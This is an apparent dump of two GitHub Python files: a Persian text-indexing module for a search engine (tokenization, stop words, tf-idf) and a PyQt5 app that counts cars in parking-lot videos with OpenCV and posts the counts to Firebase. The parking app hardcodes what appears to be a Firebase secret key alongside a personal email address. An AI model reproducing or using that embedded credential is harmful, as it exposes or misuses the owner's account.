= 0\n\n docs_dir = 'sampleDoc/'\n\n main_all_tokens_num = 0\n\n def __init__(self, docs_dir: str = None, main_dict_dir: str = None,\n stop_words_dir: str = None):\n self.docs_dir = docs_dir\n self.main_dict_dir = main_dict_dir\n self.stop_words_dir = stop_words_dir\n self.docs_num = self.docs_num\n self.id2path = {}\n self.path2id = {}\n self.generate_file_paths()\n\n def generate_file_paths(self):\n doc_id = 1\n for root, d_names, f_names in os.walk(self.docs_dir):\n for f in f_names:\n d = os.path.join(root, f)\n self.id2path[doc_id] = d\n self.path2id[d] = doc_id\n doc_id += 1\n self.docs_num = doc_id\n\n\n def get_doc_path_by_id(self, doc_id):\n return self.id2path.get(doc_id, 'Not included')\n\n def get_doc_id_by_path(self, doc_path):\n return self.path2id.get(doc_path, 'Not included')\n\n def make_dictionary(self):\n all_tokens_num = 0\n for doc_id in self.id2path.keys():\n with open(self.id2path[doc_id], encoding='utf8') as f:\n line = f.readline()\n cnt = 1\n position = 0\n while line:\n line = line.strip()\n normalized_text = self.normalization(line)\n # print(normalized_text)\n # tokens = self.tokenization(normalized_text)\n tokens = self.tokenization(normalized_text)\n # stemmed = self.stemmer(tokens)\n for token in tokens:\n if len(token) < 2:\n continue\n # print(token)\n self.token_term_frequency_dict[token] = self.token_term_frequency_dict.get(token, 0) + 1\n all_tokens_num = all_tokens_num + 1\n self.update_dictionary(doc_id, token, position)\n position += 1\n\n line = f.readline()\n cnt += 1\n self.main_all_tokens_num = all_tokens_num\n\n # self.remove_stop_words()\n # normalized_text = normalization(text)\n # tokens = tokenization(normalized_text)\n # stemmed = stemmer(tokens)\n # tokens = remove_stop_words(stemmed)\n # for position in range(0, len(tokens)):\n # word = tokens[position]\n # update_dictionary(doc_id, word, position)\n\n def update_dictionary(self, doc_id, word, position):\n if self.main_dict.get(word, None) is None:\n self.main_dict[word] = {}\n if self.main_dict[word].get(doc_id, None) is None:\n self.main_dict[word][doc_id] = {'frequency': 0, 'list': []}\n\n self.main_dict[word][doc_id]['frequency'] += 1\n self.main_dict[word][doc_id]['list'].append(position)\n\n def normalization(self, data):\n normal_data = re.sub('\\u200c|\\u200b|\\u200d|\\u200e|\\u200f|\\u202c|\\xad|\\ufeff|_|\\u2067|\\u2069|\\x7f', ' ', data)\n normal_data = re.sub('[|{}=;&«»%/+*!@#$.؛:\",،)(?؟]|-|\\d+|[a-zA-Z]', ' ', normal_data)\n normal_data = normal_data.replace(\"'\", \" \")\n normal_data = normal_data.replace(\"ـ\", \" \")\n normal_data = normal_data.replace(\"]\", \" \")\n normal_data = normal_data.replace(\"[\", \" \")\n normal_data = normal_data.replace('\\n', \" \")\n normal_data = normal_data.replace('\\r', \" \")\n normal_data = re.sub('[ء]', ' ', normal_data)\n normal_data = re.sub('[ؤ]', 'و', normal_data)\n normal_data = re.sub('[ۀ]', 'ه', normal_data)\n normal_data = re.sub('[َ ِ ُ ّ ً ]', ' ', normal_data)\n normal_data = re.sub('[ْْ ]', ' ', normal_data)\n normal_data = re.sub('[ئ]', 'ی', normal_data)\n normal_data = re.sub('[ْي]', 'ی', normal_data)\n normal_data = re.sub('[ك]', 'ک', normal_data)\n normal_data = re.sub('[إاٌآأ]', 'ا', normal_data)\n normal_data = re.sub('[ْ…]', ' ', normal_data)\n\n return normal_data\n\n def find_stop_words(self):\n abundance_rate = 1 / 100\n for word, frequency in self.token_term_frequency_dict.items():\n if frequency / self.main_all_tokens_num > abundance_rate and len(\n self.main_dict[word].keys()) / self.docs_num > 0.6:\n self.stop_words.append(word)\n\n def remove_stop_words_from_dictionary(self):\n for word in self.stop_words:\n self.main_dict.pop(word)\n\n def remove_stop_words(self, tokens):\n new_tokens = []\n for token in tokens:\n if token not in self.stop_words:\n new_tokens.append(token)\n return new_tokens\n\n def stemmer(self, tokens):\n return tokens\n verbAffix = [\"*ش\", \"*نده\", \"*ا\", \"*ار\", \"وا*\", \"اثر*\", \"فرو*\", \"پیش*\", \"گرو*\", \"*ه\", \"*گار\", \"*ن\"]\n ends = ['ات',\n 'ان',\n 'ترین',\n 'تر',\n 'م', 'ت', 'ش', 'یی', 'ی', 'ها', 'ٔ', '‌ا', '‌']\n\n suffix = [\"كار\", \"ناك\", \"وار\", \"آسا\", \"آگین\", \"بار\", \"بان\", \"دان\", \"زار\", \"سار\", \"سان\", \"لاخ\", \"مند\", \"دار\",\n \"مرد\",\n \"کننده\", \"گرا\", \"نما\", \"متر\"]\n\n prefix = [\"بی\", \"با\", \"پیش\", \"غیر\", \"فرو\", \"هم\", \"نا\", \"یک\"]\n\n def stem(word):\n for end in ends:\n if word.endswith(end):\n word = word[:-len(end)]\n\n if word.endswith('ۀ'):\n word = word[:-1] + 'ه'\n\n return word\n\n new_tokens = []\n for token in tokens:\n if token in mokassar:\n new_tokens.append(mokassar[token])\n else:\n new_tokens.append(token)\n j = 0\n # for affix in verbAffix:\n # if (j == 0 and (token[-1] == 'ا' or token[-1] == 'و')):\n # sTemp = affix.replace(\"*\", token + \"ی\")\n # else:\n # sTemp = affix.replace(\"*\", token)\n #\n # if normalizeValidation(sTemp, True):\n # return affix\n # j = j + 1\n # return \"\"\n return new_tokens\n\n def tokenization(self, text):\n return text.split(' ')\n\n def get_token_docs_ids(self, token):\n token_info = self.main_dict.get(token, None)\n if token_info:\n return token_info.keys()\n return []\n\n def get_token_champion_docs_ids(self, token, threshold=1):\n return [freq.doc for freq in self.champion_dict.get(token, []) if freq.frequency >= threshold]\n\n def save_main_dict(self, save_dir, name):\n a_file = open(save_dir + '/' + name + '.pkl', \"wb\")\n pickle.dump(self.main_dict, a_file)\n a_file.close()\n\n def load_main_dict(self, save_dir, name):\n a_file = open(save_dir + '/' + name + '.pkl', \"rb\")\n self.main_dict = pickle.load(a_file)\n a_file.close()\n\n def save_stop_words(self, save_dir, name):\n a_file = open(save_dir + '/' + name + '.pkl', \"wb\")\n pickle.dump(self.stop_words, a_file)\n a_file.close()\n\n def load_stop_words(self, save_dir, name):\n a_file = open(save_dir + '/' + name + '.pkl', \"rb\")\n self.stop_words = pickle.load(a_file)\n a_file.close()\n\n def save_frequency_dict(self, save_dir, name):\n a_file = open(save_dir + '/' + name + '.pkl', \"wb\")\n pickle.dump(self.token_term_frequency_dict, a_file)\n a_file.close()\n\n def load_frequency_dict(self, save_dir, name):\n a_file = open(save_dir + '/' + name + '.pkl', \"rb\")\n self.token_term_frequency_dict = pickle.load(a_file)\n a_file.close()\n\n def fill_tf_idf_empty_dict(self):\n for word in self.main_dict.keys():\n for doc_id in self.main_dict[word]:\n self.tf_idf_dict[doc_id] = {}\n\n def fill_token_doc_frequency(self):\n for word in self.main_dict.keys():\n self.token_doc_frequency_dict[word] = len(self.main_dict[word].keys())\n self.idf_dict[word] = self.calculate_idf(self.token_doc_frequency_dict[word])\n\n def fill_tf_idf_dict(self):\n self.fill_token_doc_frequency()\n self.fill_tf_idf_empty_dict()\n for word in self.main_dict.keys():\n for doc_id in self.main_dict[word].keys():\n tfidf = self.calculate_tf(self.main_dict[word][doc_id]['frequency']) \\\n * self.calculate_idf(self.token_doc_frequency_dict[word])\n\n self.tf_idf_dict[doc_id][word] = tfidf\n # if tfidf < 0:\n # print('tf_idf is negative')\n self.doc_element_squares_dict[doc_id] = self.doc_element_squares_dict.get(doc_id, 0) + tfidf ** 2\n\n def normalize_tf_idf(self):\n for doc_id in self.tf_idf_dict.keys():\n doc_vector_size = math.sqrt(self.doc_element_squares_dict[doc_id])\n for word in self.tf_idf_dict[doc_id].keys():\n self.tf_idf_dict[doc_id][word] /= doc_vector_size\n\n def calculate_tf(self, frequency):\n tf = float(1) + math.log10(frequency)\n if tf < 0:\n print('tf is negative', frequency)\n return tf\n\n def calculate_idf(self, frequency):\n idf = math.log10(self.docs_num / frequency)\n if idf <= 0:\n print('idf is negative', self.docs_num / frequency)\n return idf\n\n def fill_champion_dict(self, champion_list_size):\n for token, token_info in self.main_dict.items():\n l = []\n for doc_id, tok_doc_info in token_info.items():\n bisect.insort(l, Frequency(doc_id, tok_doc_info['frequency']))\n l.reverse()\n self.champion_dict[token] = l[:champion_list_size]\n\n def add_doc(self):\n \"\"\"to use just and only adding few docs\"\"\"\n pass\n\n\nif __name__ == '__main__':\n d = Dictionary(10, 'sampleDoc/', [1,\n 2, 3, 4, 5, 6, 7, 8, 9,\n ])\n d.make_dictionary()\n # print(d.frequency_dict)\n # print(d.main_dict)\n # print(d.main_dict.get('ریال', ''))\n # print(d.get_token_docs_ids('ریال'))\n # print(sorted(d.frequency_dict.items(), key=lambda x: x[1], reverse=False))\n d.find_stop_words()\n # print(d.stop_words)\n d.remove_stop_words_from_dictionary()\n d.fill_tf_idf_dict()\n d.normalize_tf_idf()\n d.fill_champion_dict(10)\n print(d.token_doc_frequency_dict['جام'])\n print(d.tf_idf_dict[1])\n print(d.champion_dict['ریال'])\n # d.save_main_dict(d.main_dict_dir, 'DICT')\n","repo_name":"HosseinMohammadii/IR_SearchEngine","sub_path":"collect.py","file_name":"collect.py","file_ext":"py","file_size_in_byte":11583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"73795347451","text":"import threading\nimport json\nimport requests\nfrom ui_main_window import *\nfrom PyQt5.QtCore import QTimer,QDateTime\nfrom PyQt5.QtGui import QPixmap\nfrom PyQt5.QtGui import QImage\nfrom PyQt5.QtWidgets import QToolTip\nfrom PyQt5.QtWidgets import QWidget\nfrom PyQt5.QtWidgets import QMessageBox\nfrom PyQt5.QtWidgets import QApplication\nfrom PyQt5.QtWidgets import QFileDialog\nfrom PyQt5.QtWidgets import *\n\nfrom firebase import firebase\nimport yaml\nimport matplotlib as mp\nimport urllib\nimport http.client\nimport math\nimport datetime\nimport time\nimport numpy as np\nimport cv2\nimport sys\n\n\n# import some PyQt5 modules\n\n\nclass MainWindow(QWidget):\n # class constructor\n def __init__(self):\n # call QWidget constructor\n super().__init__()\n self.ui = Ui_Form()\n self.ui.setupUi(self)\n '''\n self.topFiller = QWidget()\n self.topFiller.setMinimumSize(250, 2000)\n self.scroll = QScrollArea()\n self.scroll.setWidget(self.topFiller)\n self.ui.Entrance.addWidget(self.scroll)\n '''\n self.detec = []\n self.count = 34\n #detec = []\n self.detect_y = []\n self.num = [0]\n # total remain parking space count\n self.remainA = 17\n self.remainB = 17\n # caculate center point's position\n self.offset = 2\n self.line_pos = 130\n # AVOID continuous counting\n # 1: allow_count\n # 0: disallow_count\n self.Iscount = 1\n # AVOID continuous counting in this time range\n self.restTime = 2\n # AVOID detec(x,y) remove again\n self.IsDOWNdetectRemove = 0\n self.IsUPdetectRemove = 0\n # allow upload to Cloud when count != pre_count\n # Assignment previous value(count) to pre_count\n self.pre_count = 34\n self.pre_countA = 17\n self.pre_countB = 17\n # Assignment cascadeDetect result to cars\n self.cars = 0\n\n # define da car in or out for traffic light (optional)\n self.Iscarin = 0\n\n # to check whether the carin or out\n self.framecount = 0\n self.Frame = 0\n\n # Car's direction\n # IN : 1\n # OUT : -1\n self.direction = 0\n self.starttime = 0\n self.detail = [\"\",\"\",\"\",\"\",\"\",\"\"]\n self.movement = \"Initialization\"\n self.lastFrame = 0\n \n self.firebase_url = 'https://test-7f2de.firebaseio.com/'\n self.key=\"Z61Y6gfIJzqhCWI5RHre35Xgsld8tvLZUWCWQ2Lo\"\n self.authentication = firebase.FirebaseAuthentication(self.key, 'g0930421313@gmail.com')\n firebase.authentication = self.authentication \n self.user = self.authentication.get_user() #獲取使用者資訊\n self.firebase = firebase.FirebaseApplication('https://test-7f2de.firebaseio.com/', authentication=self.authentication)\n \n self.firebase.put(\"/remain\",\"Entrance\",self.count)\n self.firebase.put(\"/remain\",\"area_A\",self.remainA)\n self.firebase.put(\"/remain\",\"area_B\",self.remainB)\n \n \n #print(datetime.toString())\n # load face cascade classifier\n self.car_cascade = cv2.CascadeClassifier('./car.xml')\n if self.car_cascade.empty():\n QMessageBox.information(self, \"Error Loading cascade classifier\",\n \"Unable to load the Car cascade classifier xml file :(\")\n #sys.exit()\n\n # create a timer\n self.timer = QTimer()\n self.timerA = QTimer()\n self.timerB = QTimer()\n self.timer2 = QTimer()\n self.timer_texttime = QTimer()\n self.timer_texttime.start()\n self.timer_texttime.timeout.connect(self.texttime)\n\n # set control_bt callback clicked function\n \n self.cap = cv2.VideoCapture(\"./Entrance.mp4\")\n self.capA = cv2.VideoCapture(\"./areaA.mp4\")\n self.capB = cv2.VideoCapture(\"./areaB.mp4\")\n \n self.ui.control_bt.clicked.connect(self.controlTimer)\n\n # set timer timeout callback function\n self.timer.timeout.connect(\n lambda: self.detectCarE(self.cap, self.ui.Entrance))\n self.timerA.timeout.connect(\n lambda: self.detectCarA(self.capA, self.ui.areaA))\n self.timerB.timeout.connect(\n lambda: self.detectCarB(self.capB, self.ui.areaB))\n\n self.ui.close_bt.clicked.connect(self.close_btn)\n #read YML\n self.ui.selectYML_btn.clicked.connect(self.getYMLpath)\n self.ui.confirm_path_btn.clicked.connect(self.confirmYMLpath)\n #####################space#########################################\n self.YMLPath = \"\"\n self.IsreadYML = False\n self.spaceopen = True\n if self.spaceopen == True:\n self.ui.control_bt.clicked.connect(self.detectspace)\n self.timer2.timeout.connect(self.detectspace)\n self.fn = \"./parkinglot_1_480p.mp4\"\n self.fn_yaml = \"\"\n self.capspace = cv2.VideoCapture(self.fn)\n self.config = {'save_video': False,\n 'text_overlay': True,\n 'parking_overlay': True,\n 'parking_id_overlay': True,\n 'parking_detection': True,\n 'motion_detection': False,\n 'pedestrian_detction': False,\n 'min_area_motion_contour': 200,\n 'park_laplacian_th': 1.8,\n 'park_sec_to_wait': 5,\n 'start_frame': 0} # 35000\n self.video_info = {'fps': self.capspace.get(cv2.CAP_PROP_FPS),\n 'width': int(self.capspace.get(cv2.CAP_PROP_FRAME_WIDTH)),\n 'height': int(self.capspace.get(cv2.CAP_PROP_FRAME_HEIGHT)),\n 'fourcc': self.capspace.get(cv2.CAP_PROP_FOURCC),\n 'num_of_frames': int(self.capspace.get(cv2.CAP_PROP_FRAME_COUNT))}\n self.parking_contours = [] # Parking spaces four points\n self.parking_bounding_rects = []\n self.parking_mask = []\n self.pre_countSpace = int('100000000000000000',2)\n #self.countSpace = int('100000000000000000',2)\n self.capspace.set(cv2.CAP_PROP_POS_FRAMES,\n self.config['start_frame']) # jump to frame\n '''\n if self.config['pedestrian_detction']: # tracePeople\n self.hog = cv2.HOGDescriptor()\n self.hog.setSVMDetector(cv2.HOGDescriptor_getDefaultPeopleDetector())\n if self.config['motion_detection']:\n self.fgbg = cv2.createBackgroundSubtractorMOG2(\n history=300, varThreshold=16, detectShadows=True)\n '''\n \n #####################space#########################################\n def getYMLpath(self):\n fname = QFileDialog.getOpenFileName(self, 'Open file',\n 'home/stu/', \"yml files (*.yml )\")\n self.YMLPath = fname[0]\n \n self.ui.displayYMLpath.setText(self.YMLPath)\n def confirmYMLpath(self):\n self.fn_yaml = self.YMLPath\n with open(self.fn_yaml, 'r') as stream:\n self.parking_data = yaml.load(stream) \n for park in self.parking_data:\n points = np.array(park['points'])\n rect = cv2.boundingRect(points)\n points_shifted = points.copy()\n points_shifted[:,0] = points[:,0] - rect[0] # shift contour to roi\n points_shifted[:,1] = points[:,1] - rect[1]\n self.parking_contours.append(points)\n\n self.parking_bounding_rects.append(rect)\n\n mask = cv2.drawContours(np.zeros((rect[3], rect[2]), dtype=np.uint8), [points_shifted], contourIdx=-1,\n color=255, thickness=-1, lineType=cv2.LINE_8)\n mask = mask == 255\n self.parking_mask.append(mask)\n #print(self.parking_bounding_rects)\n kernel_erode = cv2.getStructuringElement(cv2.MORPH_ELLIPSE,(3,3)) # morphological kernel\n\n kernel_dilate = cv2.getStructuringElement(cv2.MORPH_RECT,(5,19))\n self.parking_status = [False]*len(self.parking_data)\n self.parking_buffer = [None]*len(self.parking_data)\n #print(self.parking_status) \n def close_btn(self):\n # stop timer\n self.timer.stop()\n self.timerA.stop()\n self.timerB.stop()\n self.timer2.stop()\n # release video capture\n self.cap.release()\n self.capA.release()\n self.capB.release()\n self.capspace.release()\n QtWidgets.qApp.quit() \n def textdetail(self):\n \n self.ui.text_detail.setText(str(self.detail[0])+\"\\n\"+str(self.detail[1])+\"\\n\"\n +str(self.detail[2])+\"\\n\"+str(self.detail[3])+\"\\n\"\n +str(self.detail[4])+\"\\n\"+str(self.detail[5])+\"\\n\")\n def texttime(self):\n t = time.time()\n date = datetime.datetime.fromtimestamp(t).strftime('%Y/%m/%d , %H:%M:%S')\n self.ui.Text_time.setText(\"現在時間 : \"+date)\n\n def textCount(self,value): \n self.ui.textCount.setText(str(\"入口 : \")+format(value))\n\n def textAremain(self, value):\n self.ui.textAremain.setText(str(\"A區 : \")+format(value))\n\n def textBremain(self, value):\n self.ui.textBremain.setText(str(\"B區 : \")+format(value))\n\n def Display(self, Qimg, Textlabel):\n Textlabel.setPixmap(QPixmap.fromImage(Qimg))\n\n def detectCarE(self, capV, labelshow):\n #print(self.text_detail)\n def catch_center(x, y, w, h):\n x1 = int(w / 2)\n y1 = int(h / 2)\n cx = x + x1\n cy = y + y1\n return cx, cy\n\n def center_y(x, y, w, h):\n x1 = int(w / 2)\n y1 = int(h / 2)\n cx = x + x1\n cy = y + y1\n return cy\n\n def post():\n '''\n \n self.detail.insert(0,str(\"Entrance : \")+post_to_thingspeak.post_to_thingspeak(params)+self.movement)\n self.textdetail()\n '''\n t = time.time()\n date = datetime.datetime.fromtimestamp(t).strftime('%Y/%m/%d , %H:%M:%S')\n #data = {'area':'A','remain':self.count} \n self.firebase.put(\"/remain\",\"Entrance\",self.count)\n self.detail.insert(0,str(\"入口\")+self.movement+'\\n時間:'+date+'\\n========================')\n self.textdetail()\n print(\"post_to_field1...\")\n \n ret, frame = capV.read()\n \n if ret == False:\n QMessageBox.information(\n self, \"Error Loading video\", \"Unable to load the Entrace video\")\n self.timer.stop() \n \n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n self.cars = self.car_cascade.detectMultiScale(gray, 1.1, 10)\n\n cv2.line(frame, (25, self.line_pos),\n (1200, self.line_pos), (255, 0, 0), 2)\n\n nowframetime = datetime.datetime.now()\n self.Iscarin = 0\n self.Frame += 1\n \n for (x, y, w, h) in self.cars:\n\n cv2.rectangle(frame, (x, y), (x+w, y+h), (0, 255, 0), 2)\n\n self.Iscarin = 1\n center = catch_center(x, y, w, h)\n # print(self.detec)\n centery = center_y(x, y, w, h)\n self.detec.append(center)\n self.detect_y.append(centery)\n cv2.circle(frame, center, 4, (0, 0, 255), -1)\n startframetime = datetime.datetime.now()\n nowframetime = startframetime+datetime.timedelta(seconds=5)\n\n self.framecount += 1\n beforecount = self.framecount-3\n f1 = self.detect_y[self.framecount-1:self.framecount+1]\n f2 = self.detect_y[beforecount:beforecount+1]\n\n # 303,40\n num = list(map(lambda x: x[0]-x[1], zip(f1, f2)))\n\n self.direction = np.sign(num)\n\n for (x, y) in self.detec:\n\n if y < (self.line_pos+self.offset) and y > (self.line_pos-self.offset) and self.direction == 1:\n\n if self.Iscount == 0: # 0 remove x_y\n\n endtime = datetime.datetime.now()\n nowtime = self.starttime + \\\n datetime.timedelta(seconds=self.restTime)\n self.detec.remove((x, y))\n self.IsDOWNdetectRemove = 1\n if endtime >= nowtime:\n self.Iscount = 1\n if self.Iscount == 1:\n\n self.count -= 1\n\n cv2.line(frame, (25, self.line_pos),\n (1200, self.line_pos), (0, 127, 255), 3)\n if self.IsDOWNdetectRemove == 0:\n self.detec.remove((x, y))\n self.Iscount = 0\n self.starttime = datetime.datetime.now()\n #cv2.imwrite('frame%d.jpg'%Frame , frame)\n # time.sleep(3)\n self.lastFrame = self.Frame\n print(\"Cars detected so far: \"+str(self.count))\n self.movement = \"進來一輛車\"\n\n if y > (self.line_pos-self.offset) and y < (self.line_pos+self.offset) and self.direction == -1:\n\n if self.Iscount == 0:\n\n endtime = datetime.datetime.now()\n nowtime = self.starttime + \\\n datetime.timedelta(seconds=self.restTime)\n self.detec.remove((x, y))\n self.IsUPdetectRemove = 1\n if endtime >= nowtime:\n self.Iscount = 1\n if self.Iscount == 1:\n\n self.count += 1\n\n cv2.line(frame, (25, self.line_pos),\n (1200, self.line_pos), (0, 127, 255), 3)\n if self.IsUPdetectRemove == 0:\n self.detec.remove((x, y))\n self.Iscount = 0\n self.starttime = datetime.datetime.now()\n #cv2.imwrite('frame%d.jpg'%Frame , frame)\n # time.sleep(3)\n print(\"Cars detected so far: \"+str(self.count))\n self.movement =\"出去一輛車\"\n\n if self.pre_count != self.count:\n p = threading.Thread(target=post)\n p.start()\n # t.join()\n\n self.pre_count = self.count\n\n # time.sleep(0.15)\n if self.Iscarin == 1:\n cv2.circle(frame, (303, 40), 10, (0, 0, 255), -1)\n\n else:\n cv2.circle(frame, (303, 40), 10, (0, 255, 0), -1)\n self.Iscarin = 0\n if self.Frame == self.lastFrame+300:\n self.movement = \"\"\n self.lastFrame = 0\n\n # display the resulting frame\n\n self.textCount(self.count)\n # self.textAremain(self.remainA)\n # self.textBremain(self.remainB)\n cv2.putText(frame, \"E\", (27, 50),\n cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 3)\n \n # get frame infos\n height, width, channel = frame.shape\n\n step = channel * width\n\n # create QImage from RGB frame\n qImg = QImage(frame.data, width, height, step, QImage.Format_RGB888)\n # show frame in img_label\n labelshow.setPixmap(QPixmap.fromImage(qImg))\n\n def detectCarA(self, capV, labelshow):\n\n def catch_center(x, y, w, h):\n x1 = int(w / 2)\n y1 = int(h / 2)\n cx = x + x1\n cy = y + y1\n return cx, cy\n\n def center_y(x, y, w, h):\n x1 = int(w / 2)\n y1 = int(h / 2)\n cx = x + x1\n cy = y + y1\n return cy\n\n def post():\n t = time.time()\n date = datetime.datetime.fromtimestamp(t).strftime('%Y/%m/%d , %H:%M:%S')\n #data = {'area':'A','remain':self.count} \n self.firebase.put(\"/remain\",\"area_A\",self.remainA)\n self.detail.insert(0,str(\"A區\")+self.movement+'\\n時間:'+date+'\\n========================')\n self.textdetail()\n print(\"post_to_field2...\")\n\n \n\n ret, frame = capV.read()\n if ret == False:\n \n QMessageBox.information(\n self, \"Error Loading video\", \"Unable to load the areaA video\")\n self.timerA.stop() \n\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n self.cars = self.car_cascade.detectMultiScale(gray, 1.1, 10)\n\n cv2.line(frame, (25, self.line_pos),\n (1200, self.line_pos), (255, 0, 0), 2)\n\n nowframetime = datetime.datetime.now()\n self.Iscarin = 0\n self.Frame += 1\n\n for (x, y, w, h) in self.cars:\n\n cv2.rectangle(frame, (x, y), (x+w, y+h), (0, 255, 0), 2)\n\n self.Iscarin = 1\n center = catch_center(x, y, w, h)\n # print(self.detec)\n centery = center_y(x, y, w, h)\n self.detec.append(center)\n self.detect_y.append(centery)\n cv2.circle(frame, center, 4, (0, 0, 255), -1)\n startframetime = datetime.datetime.now()\n nowframetime = startframetime+datetime.timedelta(seconds=5)\n\n self.framecount += 1\n beforecount = self.framecount-3\n f1 = self.detect_y[self.framecount-1:self.framecount+1]\n f2 = self.detect_y[beforecount:beforecount+1]\n\n # 303,40\n num = list(map(lambda x: x[0]-x[1], zip(f1, f2)))\n\n self.direction = np.sign(num)\n\n for (x, y) in self.detec:\n\n if y < (self.line_pos+self.offset) and y > (self.line_pos-self.offset) and self.direction == 1:\n\n if self.Iscount == 0: # 0 remove x_y\n\n endtime = datetime.datetime.now()\n nowtime = self.starttime + \\\n datetime.timedelta(seconds=self.restTime)\n self.detec.remove((x, y))\n self.IsDOWNdetectRemove = 1\n if endtime >= nowtime:\n self.Iscount = 1\n if self.Iscount == 1:\n\n self.remainA -= 1\n\n cv2.line(frame, (25, self.line_pos),\n (1200, self.line_pos), (0, 127, 255), 3)\n if self.IsDOWNdetectRemove == 0:\n self.detec.remove((x, y))\n self.Iscount = 0\n self.starttime = datetime.datetime.now()\n #cv2.imwrite('frame%d.jpg'%Frame , frame)\n # time.sleep(3)\n self.lastFrame = self.Frame\n print(\"Cars detected so far: \"+str(self.remainA))\n self.movement = \"進來一輛車\"\n\n if y > (self.line_pos-self.offset) and y < (self.line_pos+self.offset) and self.direction == -1:\n\n if self.Iscount == 0:\n\n endtime = datetime.datetime.now()\n nowtime = self.starttime + \\\n datetime.timedelta(seconds=self.restTime)\n self.detec.remove((x, y))\n self.IsUPdetectRemove = 1\n if endtime >= nowtime:\n self.Iscount = 1\n if self.Iscount == 1:\n\n self.remainA += 1\n\n cv2.line(frame, (25, self.line_pos),\n (1200, self.line_pos), (0, 127, 255), 3)\n if self.IsUPdetectRemove == 0:\n self.detec.remove((x, y))\n self.Iscount = 0\n self.starttime = datetime.datetime.now()\n #cv2.imwrite('frame%d.jpg'%Frame , frame)\n # time.sleep(3)\n print(\"Cars detected so far: \"+str(self.remainA))\n self.movement = \"出去一輛車\"\n\n if self.pre_countA != self.remainA:\n p = threading.Thread(target=post)\n p.start()\n # t.join()\n\n self.pre_countA = self.remainA\n\n # time.sleep(0.15)\n if self.Iscarin == 1:\n cv2.circle(frame, (303, 40), 10, (0, 0, 255), -1)\n\n else:\n cv2.circle(frame, (303, 40), 10, (0, 255, 0), -1)\n self.Iscarin = 0\n if self.Frame == self.lastFrame+300:\n self.movement = \"\"\n self.lastFrame = 0\n\n # display the resulting frame\n\n # self.textCount(self.count)\n self.textAremain(self.remainA)\n # self.textBremain(self.remainB)\n cv2.putText(frame, \"A\", (27, 50),\n cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 3)\n \n # get frame infos\n height, width, channel = frame.shape\n step = channel * width\n\n # create QImage from RGB frame\n qImg = QImage(frame.data, width, height, step, QImage.Format_RGB888)\n # show frame in img_label\n labelshow.setPixmap(QPixmap.fromImage(qImg))\n\n def detectCarB(self, capV, labelshow):\n\n def catch_center(x, y, w, h):\n x1 = int(w / 2)\n y1 = int(h / 2)\n cx = x + x1\n cy = y + y1\n return cx, cy\n\n def center_y(x, y, w, h):\n x1 = int(w / 2)\n y1 = int(h / 2)\n cx = x + x1\n cy = y + y1\n return cy\n\n def post():\n t = time.time()\n date = datetime.datetime.fromtimestamp(t).strftime('%Y/%m/%d , %H:%M:%S')\n #data = {'area':'A','remain':self.count} \n self.firebase.put(\"/remain\",\"area_B\",self.remainB)\n self.detail.insert(0,str(\"B區\")+self.movement+'\\n時間:'+date+'\\n========================')\n self.textdetail()\n print(\"post_to_field3...\")\n\n \n\n #ini = threading.Thread(target = init)\n # ini.start()\n\n # resize frame image\n # while True:\n\n ret, frame = capV.read()\n if ret == False:\n \n QMessageBox.information(\n self, \"Error Loading video\", \"Unable to load the areaB video\")\n self.timerB.stop() \n\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n self.cars = self.car_cascade.detectMultiScale(gray, 1.1, 10)\n\n cv2.line(frame, (25, self.line_pos),\n (1200, self.line_pos), (255, 0, 0), 2)\n\n nowframetime = datetime.datetime.now()\n self.Iscarin = 0\n self.Frame += 1\n \n for (x, y, w, h) in self.cars:\n\n cv2.rectangle(frame, (x, y), (x+w, y+h), (0, 255, 0), 2)\n\n self.Iscarin = 1\n center = catch_center(x, y, w, h)\n # print(self.detec)\n centery = center_y(x, y, w, h)\n self.detec.append(center)\n self.detect_y.append(centery)\n cv2.circle(frame, center, 4, (0, 0, 255), -1)\n startframetime = datetime.datetime.now()\n nowframetime = startframetime+datetime.timedelta(seconds=5)\n\n self.framecount += 1\n beforecount = self.framecount-3\n f1 = self.detect_y[self.framecount-1:self.framecount+1]\n f2 = self.detect_y[beforecount:beforecount+1]\n\n # 303,40\n num = list(map(lambda x: x[0]-x[1], zip(f1, f2)))\n\n self.direction = np.sign(num)\n\n for (x, y) in self.detec:\n\n if y < (self.line_pos+self.offset) and y > (self.line_pos-self.offset) and self.direction == 1:\n\n if self.Iscount == 0: # 0 remove x_y\n\n endtime = datetime.datetime.now()\n nowtime = self.starttime + \\\n datetime.timedelta(seconds=self.restTime)\n self.detec.remove((x, y))\n self.IsDOWNdetectRemove = 1\n if endtime >= nowtime:\n self.Iscount = 1\n if self.Iscount == 1:\n\n self.remainB -= 1\n\n cv2.line(frame, (25, self.line_pos),\n (1200, self.line_pos), (0, 127, 255), 3)\n if self.IsDOWNdetectRemove == 0:\n self.detec.remove((x, y))\n self.Iscount = 0\n self.starttime = datetime.datetime.now()\n #cv2.imwrite('frame%d.jpg'%Frame , frame)\n # time.sleep(3)\n self.lastFrame = self.Frame\n print(\"Cars detected so far: \"+str(self.remainB))\n self.movement = \"進來一輛車\"\n\n if y > (self.line_pos-self.offset) and y < (self.line_pos+self.offset) and self.direction == -1:\n\n if self.Iscount == 0:\n\n endtime = datetime.datetime.now()\n nowtime = self.starttime + \\\n datetime.timedelta(seconds=self.restTime)\n self.detec.remove((x, y))\n self.IsUPdetectRemove = 1\n if endtime >= nowtime:\n self.Iscount = 1\n if self.Iscount == 1:\n\n self.remainB += 1\n\n cv2.line(frame, (25, self.line_pos),\n (1200, self.line_pos), (0, 127, 255), 3)\n if self.IsUPdetectRemove == 0:\n self.detec.remove((x, y))\n self.Iscount = 0\n self.starttime = datetime.datetime.now()\n #cv2.imwrite('frame%d.jpg'%Frame , frame)\n # time.sleep(3)\n print(\"Cars detected so far: \"+str(self.remainB))\n self.movement = \"出去一輛車\"\n\n if self.pre_countB != self.remainB:\n p = threading.Thread(target=post)\n p.start()\n # t.join()\n\n self.pre_countB = self.remainB\n\n # time.sleep(0.15)\n if self.Iscarin == 1:\n cv2.circle(frame, (303, 40), 10, (0, 0, 255), -1)\n\n else:\n cv2.circle(frame, (303, 40), 10, (0, 255, 0), -1)\n self.Iscarin = 0\n if self.Frame == 